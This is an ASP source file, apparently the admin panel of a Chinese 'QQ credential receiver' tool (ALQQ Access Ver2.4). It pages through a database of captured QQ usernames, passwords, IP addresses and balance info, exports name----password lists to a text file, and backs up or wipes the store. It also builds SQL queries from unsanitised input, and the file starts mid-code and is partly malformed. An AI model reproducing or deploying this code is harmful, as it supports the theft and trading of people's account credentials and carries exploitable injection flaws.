index.asp

啊拉QQ的收信程序数据库版本。 小C原创

  strsql="select * from Inform"
  rst.open strsql,my_conn,1
  if not rst.eof then
  rst.pagesize=20
  page=clng(request("page"))
  if page<1 then page=1 else 
  if page>rst.pagecount then page=rst.pagecount
  rst.absolutepage=page
  for i=1 to rst.pagesize
  if rst.eof then
  exit for
  else
  %>
    <form name="form1" method="post" action="">
      <input type="hidden" name=id value=<%=rst("id")%>>
      <tr>
      <td nowrap bgcolor="#FFCCFF"><div align="center"><span class="style4"><%=rst("id")%></span></div></td>
      <td nowrap bgcolor="#FFFFCC"><div align="center"><span class="style4"><%=rst("Nam")%></span></div></td>
      <td nowrap bgcolor="#66FF99"><div align="center"><span class="style4"><%=rst("psw")%></span></div></td>
      <td nowrap bgcolor="#33CCCC"><div align="center"><span class="style4"><%=rst("IPAddress")%></span></div></td>
      <td nowrap bgcolor="#00CCFF"><div align="center"><span class="style4"><%=rst("CreatTime")%></span></div></td>
      <td nowrap bgcolor="#66CC00"><div align="center"><span class="style4"><%=rst("QBInform")%></span></div></td>
      <td nowrap bgcolor="#FF0000"><div align="center" class="style4">
        <input type="submit" name="Submit" value="删除">
      </div></td>
    </tr>
    </form>
	<%
  end if
  rst.movenext
  next
  end if
  end if
	%>
	<%
	allpage=rst.pagecount
	if page=empty then
	page="1"
	allpage="1"
	end if
	%>
  </table>
</div>
<p align="right"><span class="style5"> <a href=<%=url2%>>[首页]</a> <a href="<%=url2%>?page=<%=(page-1)%>">[上一页]</a> <a href="<%=url2%>?page=<%=(page+1)%>">[下一页]</a> <a href="<%=url2%>?page=<%=rst.pagecount%>">[最后一页]</a></span></p>
<div align="right"><span class="style5">第<%=page%>页 共<%=allpage%>页</span><span class="style5"> </span>
</div>
<div align="right">
  <pre align="right">&nbsp;  </pre>
</div>
<div align="center">
  <pre class="style6" align="center">Powered By ALQQ Access Ver2.4

程序设计:ㄨiaoC</pre>
</div>
</body>
</html>
<%
end if
%>
<%
id=request("id")
if id<>"" then
sql="select * from inform where id=cint('"&id&"')"
set rs=server.createobject("adodb.recordset")
rs.open sql,connstr,3,2
rs.delete
rs.update
response.write("<script language='JavaScript'>")
response.write("history.go(-1)")
response.write("</script>")
end if
end if
'----------------以下是功能模块---------------------
%>
<%
if request("menu")<>"" then
'----------------清空数据库---------------------
if m="Cleardb" then
%>
<style type="text/css">
<!--
.style1 {
	font-size: large;
	color: #FF0000;
	font-weight: bold;
}
.style2 {font-size: x-small}
-->
</style>
<form name="form1" method="post" action="">
  <div align="center">
    <pre class="style1">你真的要删除所有数据吗，这将丢失所有的成果！！ 

</pre>
    <p>
      <label>
      <input type="radio" name="Dvalue" value="1">
  确定</label>
      <br>
      <label>
      <input type="radio" name="Dvalue" value="2">
  返回</label>
    </p>
    <p>
      <input type="submit" name="Submit" value="确定">      
      <br>
    </p>
  </div>
</form>
<%
DValue=request("DValue")
if DValue<>"" then
if DValue=1 then
set rst=server.CreateObject("adodb.recordset")
my_Conn.execute "delete * from inform"
	Response.Write "<script language='JavaScript'>"
	Response.Write "alert('清空所有数据成功，点击确定返回。');"
	Response.Redirect(url2)
	Response.Write "</script>"
else
response.write("<script language='JavaScript'>")
response.write("history.go(-2)")
response.write("</script>")
end if
end if
end if
%>
<%
'------------------------删除生成的文本文件---------------------------
if m="Deltxt" then
dim path
path=server.MapPath("output.txt")
set fso=server.CreateObject("scripting.FileSystemObject")
if fso.FileExists (path)=true then
fso.deletefile path,true
call alertmessage("成功，点击确定返回。","history.go(-1)")
Sub AlertMessage(Messages,UrlStr)
	Response.Write "<script language='JavaScript'>"
	Response.Write "alert('"&Messages&"');"
	Response.Write ""&UrlStr&""
	Response.Write "</script>"
End Sub
else
call alertmessage("文件不存在，点击确定返回。","history.go(-1)")
Sub AlertMessage(Messages,UrlStr)
	Response.Write "<script language='JavaScript'>"
	Response.Write "alert('"&Messages&"');"
	Response.Write ""&UrlStr&""
	Response.Write "</script>"
End Sub
end if
end if
%>

<%
'--------------------备份数据库---------------------
if m="Backdb" then
%>
<style type="text/css">
<!--
.style2 {font-size: 24px}
.style4 {font-size: 14px}
-->
</style>
<title>数据备份</title>  
<form action="" method="post" name="form1">
  <pre class="style2"><input name="FName" type="text" value="backup" width="100"><span class="style4">.mdb</span><input type="submit" name="Submit" value="确认备份">    
  </pre>
</form>
<p>&nbsp;</p>
<p>&nbsp; </p>
<p>
  <%
FileName=request("FName")
if FileName<>"" then
set fso=server.CreateObject("scripting.filesystemobject")
fso.copyfile path,Server.MapPath("./")&"\"&FileName&".mdb",true
call alertmessage("备份"&FileName&".mdb"&"成功，点击确定返回。","history.go(-2)")
Sub AlertMessage(Messages,UrlStr)
	Response.Write "<script language='JavaScript'>"
	Response.Write "alert('"&Messages&"')"
	Response.Write ""&UrlStr&";"
	Response.Write "</script>"
End Sub
end if
end if
%>
  <%
'---------------------导出为文本文件-------------------------
if m="outtxt" then
set fso=server.CreateObject("Scripting.FileSystemObject")
set txt=fso.OpenTextFile(server.MapPath("OutPut.txt"),8,True)
set rst=server.CreateObject("adodb.recordset")
strSql="select * from inform"
rst.open strsql,my_conn,1
for i=1 to rst.recordcount
txt.writeline (rst("nam")&"----"&rst("psw"))
rst.movenext
next
rst.close
set rst=nothing
call alertmessage("导出Output.txt成功，点击确定返回。","history.go(-1)")
Sub AlertMessage(Messages,UrlStr)
	Response.Write "<script language='JavaScript'>"
	Response.Write "alert('"&Messages&"');"
	Response.Write ""&UrlStr&""
	Response.Write "</script>"
End Sub
end if
%>
<%
'--------------------改密码---------------------
if m="cpass" then
%>
<title>修改管理密码!</title>
<form name="form1" method="post" action="">
   <div align="right">
     <div align="center">
       <pre align="center"><span class="style9">新密码:</span> <input name="Newpass" type="password"></pre>
     </div>
  </div>
   <p align="center">
     <input type="submit" name="Submit" value="修改">
   </p>
</form>
<p>
<%
npass=request("Newpass")
if npass<>"" then
set rst=server.CreateObject("adodb.recordset")
strsql="update sa set AdminPas='"&npass&"'"
my_Conn.execute strsql
call alertmessage("修改成功!你的新密码是"&request("Newpass"),"history.go(-2)")
Sub AlertMessage(Messages,UrlStr)
	Response.Write "<script language='JavaScript'>"
	Response.Write "alert('"&Messages&"');"
	Response.Write ""&UrlStr&""
	Response.Write "</script>"
End Sub
end if
%>
<%
end if
end if
%>